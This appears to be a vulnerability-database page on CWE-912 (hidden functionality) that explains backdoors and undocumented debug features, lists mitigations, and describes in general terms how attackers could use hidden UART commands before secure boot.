73 vulnerabilities classified as CWE-912 (隐藏功能). AI Chinese analysis included.
CWE-912 represents a software weakness where undocumented, unspecified, or non-obvious functionality exists within a product, often bypassing standard user interfaces or administrative controls. This vulnerability is typically exploited by attackers who discover these hidden pathways, such as debug ports, developer shortcuts, or intentional backdoors, to gain unauthorized access or execute malicious actions without detection. Developers can mitigate this risk by enforcing strict code reviews to identify and remove unnecessary or obscure code paths, ensuring comprehensive documentation of all features, and implementing rigorous access controls that restrict visibility to only intended, documented interfaces. By adhering to secure coding standards and maintaining clear separation between production and development code, organizations can eliminate unintended entry points, thereby reducing the attack surface and preventing adversaries from leveraging hidden mechanisms for unauthorized system manipulation or data exfiltration.

Attackers dump the code from the device and then perform reverse engineering to analyze the code. The undocumented, special-access features are identified, and attackers can activate them by sending specific commands via UART before secure-boot phase completes. Using these hidden features, attackers can perform reads and writes to memory via the UART interface. At runtime, the attackers can also execute arbitrary code and dump the entire memory contents.
